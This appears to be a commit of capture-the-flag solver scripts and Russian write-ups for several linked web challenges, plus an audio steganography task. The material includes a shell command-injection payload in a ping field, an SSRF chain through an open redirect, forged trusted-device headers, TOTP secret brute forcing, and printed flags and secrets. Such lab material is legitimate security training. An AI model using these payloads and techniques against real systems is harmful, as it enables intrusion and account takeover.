Init. import
This commit is contained in:
152
GAME/camera/solve_camera.py
Normal file
152
GAME/camera/solve_camera.py
Normal file
@@ -0,0 +1,152 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import hashlib
|
||||
import http.cookiejar
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
from typing import Optional, Tuple
|
||||
from urllib import parse, request
|
||||
|
||||
|
||||
def sha1_hex(value: str) -> str:
|
||||
return hashlib.sha1(value.encode("utf-8")).hexdigest()
|
||||
|
||||
|
||||
def normalize_base(raw: str) -> str:
|
||||
if "://" not in raw:
|
||||
raw = "http://" + raw
|
||||
return raw.rstrip("/")
|
||||
|
||||
|
||||
def read_part_a(cli_value: Optional[str]) -> Optional[str]:
|
||||
if cli_value:
|
||||
return cli_value
|
||||
env_value = os.getenv("PWD_PART_A")
|
||||
if env_value:
|
||||
return env_value
|
||||
candidates = [
|
||||
os.path.join(os.getcwd(), "web_camera_5.yml"),
|
||||
os.path.join(os.path.dirname(__file__), "web_camera_5.yml"),
|
||||
]
|
||||
for path in candidates:
|
||||
if not os.path.exists(path):
|
||||
continue
|
||||
try:
|
||||
data = open(path, "r", encoding="utf-8", errors="ignore").read()
|
||||
except OSError:
|
||||
continue
|
||||
match = re.search(r"PWD_PART_A=([^\s]+)", data)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return None
|
||||
|
||||
|
||||
def get_uid(opener: request.OpenerDirector, base: str) -> Optional[str]:
|
||||
resp = opener.open(base + "/login")
|
||||
uid = resp.headers.get("X-Device-Id")
|
||||
if uid:
|
||||
return uid.strip()
|
||||
body = resp.read().decode("utf-8", errors="ignore")
|
||||
match = re.search(r"UID:\s*([A-Za-z0-9_-]+)", body)
|
||||
return match.group(1) if match else None
|
||||
|
||||
|
||||
def has_cookie(cj: http.cookiejar.CookieJar, name: str) -> bool:
|
||||
return any(cookie.name == name for cookie in cj)
|
||||
|
||||
|
||||
def login(
|
||||
opener: request.OpenerDirector,
|
||||
cj: http.cookiejar.CookieJar,
|
||||
base: str,
|
||||
uid: str,
|
||||
part_a: str,
|
||||
) -> str:
|
||||
password = sha1_hex(f"{part_a}:{uid}")[:10]
|
||||
data = parse.urlencode({"username": "admin", "password": password}).encode("utf-8")
|
||||
req = request.Request(base + "/login", data=data, method="POST")
|
||||
opener.open(req).read()
|
||||
if not has_cookie(cj, "sid"):
|
||||
raise RuntimeError("login failed: no session cookie")
|
||||
return password
|
||||
|
||||
|
||||
def find_flag(text: str) -> Optional[str]:
|
||||
match = re.search(r"caplag\{[^}]+\}[^\s<]*", text)
|
||||
return match.group(0) if match else None
|
||||
|
||||
|
||||
def exploit_ping(
|
||||
opener: request.OpenerDirector,
|
||||
base: str,
|
||||
) -> Tuple[Optional[str], Optional[str], str]:
|
||||
payload = "127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C"
|
||||
data = parse.urlencode({"host": payload}).encode("utf-8")
|
||||
req = request.Request(base + "/admin/tools/ping", data=data, method="POST")
|
||||
text = opener.open(req).read().decode("utf-8", errors="ignore")
|
||||
rce_match = re.search(r"RCE:([^\s<]+)", text)
|
||||
partc_match = re.search(r"PARTC:([^\s<]+)", text)
|
||||
rce_flag = rce_match.group(1) if rce_match else find_flag(text)
|
||||
part_c = partc_match.group(1) if partc_match else None
|
||||
return rce_flag, part_c, text
|
||||
|
||||
|
||||
def redeem_flag(
|
||||
opener: request.OpenerDirector,
|
||||
base: str,
|
||||
part_a: str,
|
||||
part_c: str,
|
||||
uid: str,
|
||||
) -> Tuple[str, Optional[str]]:
|
||||
key = sha1_hex(f"{part_a}:{part_c}:{uid}")[:16]
|
||||
data = parse.urlencode({"key": key}).encode("utf-8")
|
||||
req = request.Request(base + "/admin/redeem", data=data, method="POST")
|
||||
text = opener.open(req).read().decode("utf-8", errors="ignore")
|
||||
return key, find_flag(text)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Solve LookyCam challenge.")
|
||||
parser.add_argument("--url", default="http://127.0.0.1:8070", help="Base URL")
|
||||
parser.add_argument("--part-a", dest="part_a", help="PWD_PART_A value")
|
||||
args = parser.parse_args()
|
||||
|
||||
base = normalize_base(args.url)
|
||||
part_a = read_part_a(args.part_a)
|
||||
if not part_a:
|
||||
print("PWD_PART_A not provided and not found in web_camera_5.yml", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
cj = http.cookiejar.CookieJar()
|
||||
opener = request.build_opener(request.HTTPCookieProcessor(cj))
|
||||
|
||||
uid = get_uid(opener, base)
|
||||
if not uid:
|
||||
print("Failed to determine CAMERA_UID from /login", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
try:
|
||||
password = login(opener, cj, base, uid, part_a)
|
||||
except RuntimeError as exc:
|
||||
print(str(exc), file=sys.stderr)
|
||||
return 2
|
||||
|
||||
rce_flag, part_c, _ = exploit_ping(opener, base)
|
||||
if not part_c:
|
||||
print("Failed to extract PWD_PART_C via ping injection", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
key, final_flag = redeem_flag(opener, base, part_a, part_c, uid)
|
||||
|
||||
print(f"uid: {uid}")
|
||||
print(f"login_password: {password}")
|
||||
print(f"rce_flag: {rce_flag or 'not found'}")
|
||||
print(f"part_c: {part_c}")
|
||||
print(f"redeem_key: {key}")
|
||||
print(f"final_flag: {final_flag or 'not found'}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
53
GAME/camera/writeup.md
Normal file
53
GAME/camera/writeup.md
Normal file
@@ -0,0 +1,53 @@
|
||||
# Writeup: LookyCam (camera)
|
||||
|
||||
Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ.
|
||||
|
||||
## Шаги решения
|
||||
1. PWD_PART_A -получили из стеги в хранилище
|
||||
1. Открыть `/login` и получить `CAMERA_UID`. Он приходит в заголовке `X-Device-Id` и дублируется на странице.
|
||||
2. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок `X-Password-KDF` с формулой:
|
||||
`sha1(part + ":" + uid)[0:10]`.
|
||||
3. Подставить известную часть `partA` и посчитать пароль:
|
||||
`password = sha1(partA:uid)[:10]`.
|
||||
4. Войти в `/admin` под `admin` с этим паролем и получить сессию.
|
||||
5. В `/admin/tools/ping` есть command injection: значение `host` без фильтрации попадает в `sh -lc "ping ... ${host}"`.
|
||||
Через `;` можно выполнить произвольные команды и прочитать переменные окружения:
|
||||
`127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C`
|
||||
6. Из ответа взять `PWD_PART_C` и флаг RCE.
|
||||
7. Посчитать ключ для `/admin/redeem`:
|
||||
`key = sha1(partA:partC:uid)[:16]`.
|
||||
8. Отправить ключ в `/admin/redeem` и получить финальный флаг.
|
||||
|
||||
## Примеры запросов
|
||||
```bash
|
||||
# 1) UID
|
||||
curl -i http://<host>/login
|
||||
|
||||
# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе
|
||||
curl -i -d "username=admin&password=bad" http://<host>/login
|
||||
|
||||
# 3) Логин с правильным паролем
|
||||
curl -i -c cookies.txt -d "username=admin&password=<calc>" http://<host>/login
|
||||
|
||||
# 4) Инъекция в ping
|
||||
curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \
|
||||
http://<host>/admin/tools/ping
|
||||
|
||||
# 5) Редим финального флага
|
||||
curl -i -b cookies.txt -d "key=<calc>" http://<host>/admin/redeem
|
||||
```
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
def sha1(x: str) -> str:
|
||||
return hashlib.sha1(x.encode()).hexdigest()
|
||||
|
||||
uid = "LCAM-9f31"
|
||||
part_a = "..."
|
||||
part_c = "..."
|
||||
|
||||
password = sha1(f"{part_a}:{uid}")[:10]
|
||||
key = sha1(f"{part_a}:{part_c}:{uid}")[:16]
|
||||
print(password, key)
|
||||
```
|
||||
18
GAME/kettle/solve.sh
Normal file
18
GAME/kettle/solve.sh
Normal file
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env bash
|
||||
# Параметры из деплоя
|
||||
PROOF="printer-proof-3d3130"
|
||||
NONCE="kettle-nonce-74c1"
|
||||
|
||||
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
|
||||
# Метка времени (секунды)
|
||||
TS=$(date +%s)
|
||||
|
||||
# MAC = HMAC-SHA256(key=PROOF:NONCE, msg="URL\nTS")
|
||||
KEY="${PROOF}:${NONCE}"
|
||||
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
|
||||
echo $MAC
|
||||
echo $TS
|
||||
# Запрос
|
||||
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
|
||||
55
GAME/kettle/writeup.md
Normal file
55
GAME/kettle/writeup.md
Normal file
@@ -0,0 +1,55 @@
|
||||
# Разбор решения задачи Kettle
|
||||
|
||||
Разбор для участников (с учётом: PROOF уже есть из «принтера», исходники найдены на GitHub).
|
||||
|
||||
## Ключевая логика из исходников
|
||||
|
||||
- В `files/server.js` видно, что `/diagnostics` отдаёт `X-Device-ID` — это `KETTLE_NONCE`. В UI показываются только последние 4 символа, поэтому полный nonce берём из заголовка ответа.
|
||||
- `/diagnostics/fetch` принимает JSON с `proof`, `ts`, `mac`, `url` и проверяет:
|
||||
- `proof` должен совпасть с PRINTER_PROOF (у вас он уже есть из задания с принтером),
|
||||
- `ts` — свежий (±300 сек),
|
||||
- `mac` — HMAC-SHA256 по формуле: `key = PROOF:NONCE`, `msg = "URL\nTS"`.
|
||||
- `url` должен начинаться с разрешённого хоста. В проде в whitelist попадают `printer...` и `nas...`, поэтому можно использовать «принтер» как стартовый хост и через него уйти на `nas/internal/hint`.
|
||||
- Kettle делает запрос к NAS с нужными заголовками (`X-Shared-Key` и пр.), поэтому прямой доступ извне обычно не работает — нужен именно прокси через kettle.
|
||||
|
||||
## Практический путь
|
||||
|
||||
1) Узнать nonce из заголовка:
|
||||
|
||||
```bash
|
||||
curl -i https://kettle.caplag-task.ru/diagnostics | rg -i x-device-id
|
||||
```
|
||||
|
||||
2) Собрать URL на «принтер» с редиректом на NAS:
|
||||
|
||||
```
|
||||
https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint
|
||||
```
|
||||
|
||||
3) где PRINTER_PROOF=PROOF который получили на прошлом таске( как понять что нужен пруф принтера, по дефолтной ссылке диагностики)
|
||||
4) Посчитать подпись и отправить запрос:
|
||||
|
||||
|
||||
```bash
|
||||
PROOF="printer-proof-3d3130"
|
||||
NONCE="kettle-nonce-74c1"
|
||||
|
||||
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
|
||||
TS=$(date +%s)
|
||||
|
||||
KEY="${PROOF}:${NONCE}"
|
||||
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
|
||||
|
||||
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
|
||||
```
|
||||
|
||||
В ответ так же получаем:
|
||||
заголовки:
|
||||
X-Kettle-Proof: kettle-proof-90fa
|
||||
|
||||
тело:
|
||||
caplag{chain_electric_kettle_ssrf_g1ve_acce$_to_the_nas}
|
||||
JWT_SECRET_XOR_HEX=de223a4935e307f1982a486b14958da5d93f3d5337
|
||||
game_code=ooooooyeeeeah_we_have_got_SuperAdmin_account_to_nas
|
||||
317
GAME/narod/solver.py
Normal file
317
GAME/narod/solver.py
Normal file
@@ -0,0 +1,317 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import base64
|
||||
import hashlib
|
||||
import hmac
|
||||
import http.cookiejar
|
||||
import json
|
||||
import re
|
||||
import ssl
|
||||
import struct
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
||||
BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
|
||||
|
||||
|
||||
def read_target_file(path):
|
||||
url = None
|
||||
parta = None
|
||||
user = None
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8") as fh:
|
||||
for raw in fh:
|
||||
line = raw.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
if "=" in line:
|
||||
key, value = line.split("=", 1)
|
||||
key = key.strip().lower()
|
||||
value = value.strip()
|
||||
if key in ("url", "target", "host"):
|
||||
url = value
|
||||
elif key in ("parta", "pwd_part_a", "pwda", "a"):
|
||||
parta = value
|
||||
elif key in ("user", "username", "narod_user"):
|
||||
user = value
|
||||
else:
|
||||
if url is None:
|
||||
url = line
|
||||
elif parta is None:
|
||||
parta = line
|
||||
elif user is None:
|
||||
user = line
|
||||
except FileNotFoundError:
|
||||
return None, None, None
|
||||
return url, parta, user
|
||||
|
||||
|
||||
def normalize_base(url):
|
||||
url = (url or "").strip()
|
||||
if not url:
|
||||
return ""
|
||||
if not re.match(r"^https?://", url, re.IGNORECASE):
|
||||
url = "http://" + url
|
||||
return url.rstrip("/")
|
||||
|
||||
|
||||
def make_opener(jar, insecure=False):
|
||||
handlers = [urllib.request.HTTPCookieProcessor(jar)]
|
||||
if insecure:
|
||||
ctx = ssl._create_unverified_context()
|
||||
handlers.append(urllib.request.HTTPSHandler(context=ctx))
|
||||
return urllib.request.build_opener(*handlers)
|
||||
|
||||
|
||||
def http_request(opener, method, url, data=None, headers=None, timeout=10):
|
||||
headers = dict(headers or {})
|
||||
body = None
|
||||
if data is not None:
|
||||
if isinstance(data, dict):
|
||||
body = urllib.parse.urlencode(data).encode("utf-8")
|
||||
headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
|
||||
elif isinstance(data, (bytes, bytearray)):
|
||||
body = data
|
||||
else:
|
||||
body = str(data).encode("utf-8")
|
||||
req = urllib.request.Request(url, data=body, headers=headers, method=method)
|
||||
try:
|
||||
with opener.open(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.headers, resp.read()
|
||||
except urllib.error.HTTPError as exc:
|
||||
return exc.code, exc.headers, exc.read()
|
||||
|
||||
|
||||
def extract_username(html_text):
|
||||
m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE)
|
||||
return m.group(1) if m else None
|
||||
|
||||
|
||||
def extract_pepper_xor_hex(map_text):
|
||||
try:
|
||||
data = json.loads(map_text)
|
||||
except json.JSONDecodeError:
|
||||
return None
|
||||
for src in data.get("sourcesContent", []):
|
||||
m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src)
|
||||
if m:
|
||||
return m.group(1).lower()
|
||||
return None
|
||||
|
||||
|
||||
def derive_part_b(user, pepper_xor_hex):
|
||||
mask = hashlib.sha1(user.encode("utf-8")).digest()[:6]
|
||||
pepper_bytes = bytes.fromhex(pepper_xor_hex)
|
||||
out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes)))
|
||||
return out.decode("utf-8", errors="replace")
|
||||
|
||||
|
||||
def derive_pass(parta, partb):
|
||||
material = f"{parta}:{partb}".encode("utf-8")
|
||||
return hashlib.sha1(material).hexdigest()[:12]
|
||||
|
||||
|
||||
def trusted_headers(pass_hash):
|
||||
ts = str(int(time.time()))
|
||||
sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest()
|
||||
return {"X-TS": ts, "X-Trusted-Device": sig}
|
||||
|
||||
|
||||
def base32_decode(secret_b32):
|
||||
secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper())
|
||||
pad = "=" * ((8 - (len(secret) % 8)) % 8)
|
||||
return base64.b32decode(secret + pad, casefold=True)
|
||||
|
||||
|
||||
def hotp(secret_bytes, counter):
|
||||
msg = struct.pack(">Q", counter)
|
||||
digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest()
|
||||
offset = digest[-1] & 0x0F
|
||||
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF
|
||||
return f"{code % 1_000_000:06d}"
|
||||
|
||||
|
||||
def totp(secret_b32, timestamp, step=30):
|
||||
key = base32_decode(secret_b32)
|
||||
counter = int(timestamp // step)
|
||||
return hotp(key, counter)
|
||||
|
||||
|
||||
def fetch_server_offset(opener, base_url):
|
||||
status_url = base_url + "/__status__"
|
||||
code, _, body = http_request(opener, "GET", status_url)
|
||||
if code != 200:
|
||||
return 0.0
|
||||
try:
|
||||
data = json.loads(body.decode("utf-8"))
|
||||
server_ms = float(data.get("now", 0))
|
||||
if server_ms:
|
||||
return (server_ms / 1000.0) - time.time()
|
||||
except (ValueError, json.JSONDecodeError):
|
||||
pass
|
||||
return 0.0
|
||||
|
||||
|
||||
def login(opener, base_url, user, password, trusted=False):
|
||||
headers = {}
|
||||
if trusted:
|
||||
headers.update(trusted_headers(password))
|
||||
data = {"username": user, "password": password}
|
||||
return http_request(opener, "POST", base_url + "/login", data=data, headers=headers)
|
||||
|
||||
|
||||
def get_masked_secret(opener, base_url):
|
||||
headers = {"Referer": base_url + "/profile"}
|
||||
code, _, body = http_request(
|
||||
opener,
|
||||
"GET",
|
||||
base_url + "/profile/export?fmt=ini",
|
||||
headers=headers,
|
||||
)
|
||||
if code != 200:
|
||||
return None
|
||||
text = body.decode("utf-8", errors="replace")
|
||||
m = re.search(r"otp_secret=([A-Z2-7?]+)", text)
|
||||
return m.group(1) if m else None
|
||||
|
||||
|
||||
def iter_candidates(masked_secret):
|
||||
if not masked_secret or not masked_secret.endswith("??"):
|
||||
return
|
||||
prefix = masked_secret[:-2].upper()
|
||||
for a in BASE32_ALPHABET:
|
||||
for b in BASE32_ALPHABET:
|
||||
yield prefix + a + b
|
||||
|
||||
|
||||
def mfa_attempt(opener, base_url, otp_code):
|
||||
code, _, body = http_request(
|
||||
opener,
|
||||
"POST",
|
||||
base_url + "/mfa",
|
||||
data={"otp": otp_code},
|
||||
)
|
||||
if code == 200 and b"/wallet" in body:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def fetch_flag(opener, base_url):
|
||||
code, _, body = http_request(opener, "GET", base_url + "/wallet/drain")
|
||||
if code != 200:
|
||||
return None, None
|
||||
text = body.decode("utf-8", errors="replace")
|
||||
flag = None
|
||||
game_code = None
|
||||
m_flag = re.search(r"flag\{[^}]+\}", text)
|
||||
if m_flag:
|
||||
flag = m_flag.group(0)
|
||||
m_code = re.search(r"game_code:[a-z0-9_:-]+", text)
|
||||
if m_code:
|
||||
game_code = m_code.group(0)
|
||||
return flag, game_code
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="NarodUslugi solver")
|
||||
parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)")
|
||||
parser.add_argument("--url", help="Base URL, e.g. http://host:7000")
|
||||
parser.add_argument("--parta", help="PWD_PART_A value")
|
||||
parser.add_argument("--user", help="Override username")
|
||||
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
|
||||
parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session")
|
||||
args = parser.parse_args()
|
||||
|
||||
file_url, file_parta, file_user = read_target_file(args.target_file)
|
||||
base_url = normalize_base(args.url or file_url)
|
||||
parta = args.parta or file_parta
|
||||
user = args.user or file_user
|
||||
|
||||
if not base_url:
|
||||
print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
jar = http.cookiejar.CookieJar()
|
||||
opener = make_opener(jar, insecure=args.insecure)
|
||||
|
||||
code, _, body = http_request(opener, "GET", base_url + "/")
|
||||
if code != 200:
|
||||
print(f"Failed to load login page: {code}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
html = body.decode("utf-8", errors="replace")
|
||||
if not user:
|
||||
user = extract_username(html)
|
||||
if not user:
|
||||
print("Failed to detect username; pass --user or add to target file.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map")
|
||||
if code != 200:
|
||||
print(f"Failed to fetch sourcemap: {code}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace"))
|
||||
if not pepper_xor_hex:
|
||||
print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
partb = derive_part_b(user, pepper_xor_hex)
|
||||
if not parta:
|
||||
print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
password = derive_pass(parta, partb)
|
||||
|
||||
# Trusted login to get masked OTP secret.
|
||||
trusted_jar = http.cookiejar.CookieJar()
|
||||
trusted_opener = make_opener(trusted_jar, insecure=args.insecure)
|
||||
code, _, _ = login(trusted_opener, base_url, user, password, trusted=True)
|
||||
if code == 429:
|
||||
print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
if code != 200:
|
||||
print(f"Trusted-device login failed: {code}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
masked_secret = get_masked_secret(trusted_opener, base_url)
|
||||
if not masked_secret:
|
||||
print("Failed to retrieve masked OTP secret.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
offset = fetch_server_offset(opener, base_url)
|
||||
|
||||
attempts = 0
|
||||
session_opener = None
|
||||
for candidate in iter_candidates(masked_secret):
|
||||
if session_opener is None or attempts >= args.max_per_session:
|
||||
session_jar = http.cookiejar.CookieJar()
|
||||
session_opener = make_opener(session_jar, insecure=args.insecure)
|
||||
code, _, _ = login(session_opener, base_url, user, password, trusted=False)
|
||||
if code != 200:
|
||||
print(f"Login failed during brute-force: {code}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
attempts = 0
|
||||
|
||||
now = time.time() + offset
|
||||
otp = totp(candidate, now)
|
||||
if mfa_attempt(session_opener, base_url, otp):
|
||||
flag, game_code = fetch_flag(session_opener, base_url)
|
||||
print(f"user={user}")
|
||||
print(f"pass={password}")
|
||||
print(f"otp_secret={candidate}")
|
||||
if flag:
|
||||
print(flag)
|
||||
if game_code:
|
||||
print(game_code)
|
||||
return
|
||||
|
||||
attempts += 1
|
||||
|
||||
print("OTP secret not found in search space.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
91
GAME/narod/writeup.md
Normal file
91
GAME/narod/writeup.md
Normal file
@@ -0,0 +1,91 @@
|
||||
# NarodUslugi - полный разбор (пошагово)
|
||||
|
||||
Этот разбор объясняет, как устроен сервис и как решатель получает флаг.
|
||||
Ссылки идут на локальные файлы задачи в этой директории.
|
||||
|
||||
## 1) Входные данные и их источники
|
||||
|
||||
- URL цели, partA и user можно читать из `target.txt` или передать через CLI.
|
||||
- Поведение сервера описано в `files/server.js`.
|
||||
- Логика решателя находится в `solver.py`.
|
||||
- Значения окружения указаны в `web_naroduslugi_6.yml`.
|
||||
|
||||
## 2) Формула пароля (на сервере)
|
||||
|
||||
В `files/server.js` сервер считает пароль так:
|
||||
|
||||
- `PASS = sha1(f"{PWD_PART_A}:{PWD_PART_B}").hexdigest()[:12]`
|
||||
|
||||
`partA` у нас есть, но `partB` скрыт.
|
||||
|
||||
## 3) Где спрятан partB
|
||||
|
||||
Эндпоинт `/assets/app.js.map` отдает sourcemap со строкой:
|
||||
|
||||
- `pepper_xor_hex` (hex-строка)
|
||||
|
||||
Она вычисляется так:
|
||||
|
||||
- `pepper_xor_hex = xorHex(PWD_PART_B, sha1(user)[:6])`
|
||||
|
||||
Значит `partB` можно восстановить, если известен `user`.
|
||||
|
||||
## 4) Как восстановить partB
|
||||
|
||||
Шаги, которые делает `solver.py`:
|
||||
|
||||
1. `mask = sha1(user).digest()[:6]`
|
||||
2. Преобразовать `pepper_xor_hex` в байты.
|
||||
3. XOR-нуть каждый байт с `mask` (по кругу).
|
||||
4. Декодировать результат как UTF-8 и получить `partB`.
|
||||
|
||||
После этого вычисляется пароль:
|
||||
|
||||
- `password = sha1(f"{partA}:{partB}").hexdigest()[:12]`
|
||||
|
||||
## 5) Trusted-device логин для доступа к экспорту профиля
|
||||
|
||||
Есть альтернативная авторизация, описанная в `/.well-known/`:
|
||||
|
||||
- Заголовки: `X-TS` и `X-Trusted-Device`
|
||||
- `X-Trusted-Device = hex(hmac_sha1(pass, ts))`
|
||||
- `ts` должен быть в окне 120 секунд
|
||||
|
||||
Если заголовки валидны, сессия помечается как `mfa=true`, но
|
||||
`mfaOtp=false`. Это дает доступ к `/profile` и `/profile/export`.
|
||||
|
||||
## 6) Экспорт OTP-секрета отдается с маской
|
||||
|
||||
`/profile/export?fmt=ini` возвращает:
|
||||
|
||||
- `otp_secret` с заменой последних 2 base32-символов на `??`
|
||||
|
||||
Есть CSRF-проверка: нужен `Referer: /profile`.
|
||||
Решатель выставляет этот заголовок.
|
||||
|
||||
## 7) Брут последних 2 base32-символов
|
||||
|
||||
Алфавит base32 длиной 32, значит всего 32 * 32 = 1024 вариантов.
|
||||
Решатель перебирает все кандидаты:
|
||||
|
||||
1. Логинится обычным способом (без trusted заголовков).
|
||||
2. Считает TOTP для кандидата.
|
||||
3. POST на `/mfa` с `otp`.
|
||||
4. При успехе открывает `/wallet` и `/wallet/drain`.
|
||||
|
||||
## 8) Синхронизация времени
|
||||
|
||||
Решатель читает `/__status__`, чтобы получить смещение времени сервера
|
||||
и учитывать его при генерации TOTP (защита от дрейфа часов).
|
||||
|
||||
## 9) Получение флага
|
||||
|
||||
Если OTP верный, сессия получает `mfaOtp=true`, и `/wallet/drain`
|
||||
возвращает флаг.
|
||||
|
||||
## 10) Важные ловушки
|
||||
|
||||
- Повторный trusted-логин во время активного окна доверия вызывает бан.
|
||||
- Если trusted-сессия протухла без OTP, при следующем запросе будет бан.
|
||||
- Решатель использует отдельные cookie-jar и лимит попыток на сессию.
|
||||
|
||||
18
GAME/nas/Stegano/README.md
Normal file
18
GAME/nas/Stegano/README.md
Normal file
@@ -0,0 +1,18 @@
|
||||
GameStegoAudio | Stego | Medium?
|
||||
|
||||
## Автор
|
||||
instanc3:@instanc3
|
||||
|
||||
## Информация для участников
|
||||
|
||||
## Выдать участникам
|
||||
Аудио файл: some_secret.wav
|
||||
|
||||
## Решение
|
||||
1. Понять, что информация скрыта в правом канале → проверить распределение LSB по каналам/участкам.
|
||||
2. Замечаем, что данные начинаются после ~1 с и идут через один.
|
||||
3. Считать LSB правого канала с skip=1s, step=2, собрать в байты (MSB→LSB).
|
||||
4. Увидеть заголовок STAG, прочитать длину и CRC, взять полезную нагрузку, zlib-decompress → получить caplag{...}.
|
||||
|
||||
## Флаг
|
||||
`caplag{gam3_au1d0_st3g0_1s_d0n3}`
|
||||
68
GAME/nas/Stegano/stego_task_solve.py
Normal file
68
GAME/nas/Stegano/stego_task_solve.py
Normal file
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import wave
|
||||
import struct
|
||||
import zlib
|
||||
import numpy as np
|
||||
|
||||
SR = 44100
|
||||
SKIP_SEC = 1.0
|
||||
STEP = 2
|
||||
IN_WAV = "some_secret.wav"
|
||||
|
||||
def read_wav_int16(path: str):
|
||||
with wave.open(path, "rb") as wf:
|
||||
assert wf.getnchannels() == 2
|
||||
assert wf.getsampwidth() == 2
|
||||
sr = wf.getframerate()
|
||||
frames = wf.readframes(wf.getnframes())
|
||||
arr = np.frombuffer(frames, dtype=np.int16).reshape(-1, 2)
|
||||
return sr, arr
|
||||
|
||||
def bits_to_bytes_big_endian(bits: np.ndarray) -> bytes:
|
||||
# Длина должна быть кратна 8
|
||||
n = (bits.size + 7) // 8 * 8
|
||||
if n != bits.size:
|
||||
bits = np.pad(bits, (0, n - bits.size), constant_values=0)
|
||||
by = np.packbits(bits.astype(np.uint8), bitorder='big').tobytes()
|
||||
return by
|
||||
|
||||
def extract_header_and_length(right: np.ndarray, sr: int):
|
||||
skip = int(sr * SKIP_SEC)
|
||||
# Считываем первые 12 байт (заголовок: 4 + 4 + 4)
|
||||
header_bits_count = 12 * 8
|
||||
idxs = skip + np.arange(header_bits_count) * STEP
|
||||
bits = (right[idxs] & 1).astype(np.uint8)
|
||||
header = bits_to_bytes_big_endian(bits)
|
||||
magic = header[:4]
|
||||
if magic != b"STAG":
|
||||
raise ValueError("Магия заголовка не совпала — это не тот контейнер.")
|
||||
length = struct.unpack(">I", header[4:8])[0]
|
||||
crc = struct.unpack(">I", header[8:12])[0]
|
||||
return length, crc
|
||||
|
||||
def extract_all(sr: int, stereo: np.ndarray):
|
||||
right = stereo[:, 1]
|
||||
length, crc_expected = extract_header_and_length(right, sr)
|
||||
total_bytes = 12 + length
|
||||
total_bits = total_bytes * 8
|
||||
skip = int(sr * SKIP_SEC)
|
||||
idxs = skip + np.arange(total_bits) * STEP
|
||||
bits = (right[idxs] & 1).astype(np.uint8)
|
||||
data = bits_to_bytes_big_endian(bits)
|
||||
header = data[:12]
|
||||
payload = data[12:12+length]
|
||||
crc_actual = zlib.crc32(payload) & 0xFFFFFFFF
|
||||
